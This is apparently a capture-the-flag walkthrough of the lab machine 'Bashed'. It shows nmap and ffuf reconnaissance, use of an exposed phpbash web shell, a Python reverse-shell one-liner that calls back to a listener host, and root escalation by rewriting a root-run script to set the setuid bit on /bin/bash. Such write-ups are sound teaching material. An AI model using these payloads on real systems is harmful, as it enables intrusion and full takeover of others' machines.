Box: Bashed
Level: Easy
OS: Linux
Lets get started
Recon
Portscanning
command:sudo nmap -A 10.129.38.185 -v -p- -T4
Nmap scan report for 10.129.38.185
Host is up (0.14s latency).
Not shown: 65435 closed tcp ports (reset), 99 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=12/27%OT=80%CT=1%CU=39715%PV=Y%DS=2%DC=T%G=Y%TM=658B8D
OS:24%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=109%TI=Z%CI=I%TS=8)SEQ(SP=
OS:FF%GCD=1%ISR=109%TI=Z%CI=I%TS=8)OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53
OS:CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=7120%W2=7120%
OS:W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M53CNNSNW7%CC
OS:=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T
OS:=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=
OS:0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40
OS:%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 0.011 days (since Wed Dec 27 03:18:25 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE (using port 995/tcp)
HOP RTT       ADDRESS
1   142.55 ms 10.10.14.1
2   140.40 ms 10.129.38.185
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 27 03:34:13 2023 -- 1 IP address (1 host up) scanned in 1127.11 seconds
From our scan we have one open port, port 80 which runs on http. So, our enumeration today will be focused on port 80.
Enumeration
Navigate to the webpage
Lets fuzz for directories using ffuf
command:ffuf -u "http://10.129.38.185/FUZZ" -w /usr/share/wordlists/dirb/common.txt  -e .zip,.sql,.php,.phtml,.bak,.backup
┌──(bl4ck4non👽bl4ck4non-sec)-[~/Downloads/HTB/bashed]
└─$ ffuf -u "http://10.129.38.185/FUZZ" -w /usr/share/wordlists/dirb/common.txt  -e .zip,.sql,.php,.phtml,.bak,.backup
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
       v2.0.0-dev
________________________________________________
 :: Method           : GET
 :: URL              : http://10.129.38.185/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Extensions       : .zip .sql .php .phtml .bak .backup 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 141ms]
    * FUZZ:
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 153ms]
    * FUZZ: config.php
[Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 159ms]
    * FUZZ: css
[Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 139ms]
    * FUZZ: dev
[Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 161ms]
    * FUZZ: fonts
[Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 150ms]
    * FUZZ: images
[Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 156ms]
    * FUZZ: index.html
[Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 146ms]
    * FUZZ: js
[Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 162ms]
    * FUZZ: php
[Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 139ms]
    * FUZZ: server-status
[Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 145ms]
    * FUZZ: uploads
:: Progress: [32298/32298] :: Job [1/1] :: 272 req/sec :: Duration: [0:02:08] :: Errors: 0 ::
We have lots of directories here, the directory that interests me is the /dev directory.
Navigating to that directory, you should see this
We have 2 files here, clicking on phpbash.php should get you this
Lets try to run basic linux commands like id and whoami
nice nice, we can exploit this
Exploitation
We can get a reverse shell back to our machine from this actually
payload:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
Ensure you provide yourLHOST and LPORT
Also, ensure to set up your netcat listener
Executing the payload and checking my netcat listener I spawned a shell
To stabilize the shell
python -c “import pty;pty.spawn(‘/bin/bash’)”
ctrl + z (to background)
stty raw -echo && fg
export TERM=xterm
Lets go ahead and escalate our privileges
Privilege Escalation
Running the sudo -l command
We can see that user www-data can run any command as user scriptmanager without a password.
So, to drop into a shell as user scriptmanager, we can run this command sudo -u scriptmanager /bin/bash
nice nice, lets further escalate our privileges
Checking the contents of the test.py file, you should get this
f = open("test.txt", "w")
f.write("testing 123!")
f.close
This file is actually being ran by root every couple minutes. We’ll replace the content of this script with the python script below
import os
os.system('chmod +s /bin/bash')
What this script will do is change the permissions of the /bin/bash executable using the os.system function. So, by simply running bash -p we should be able to spawn a shell as the root user
Now, replace the content of the test.py with the above python code
After one minute, run the command ls -l /bin/bash
Lets execute this using the command bash -p
Cool, we spawned a root shell😎
This was a very easy box though😅
That will be all for today
Back To Home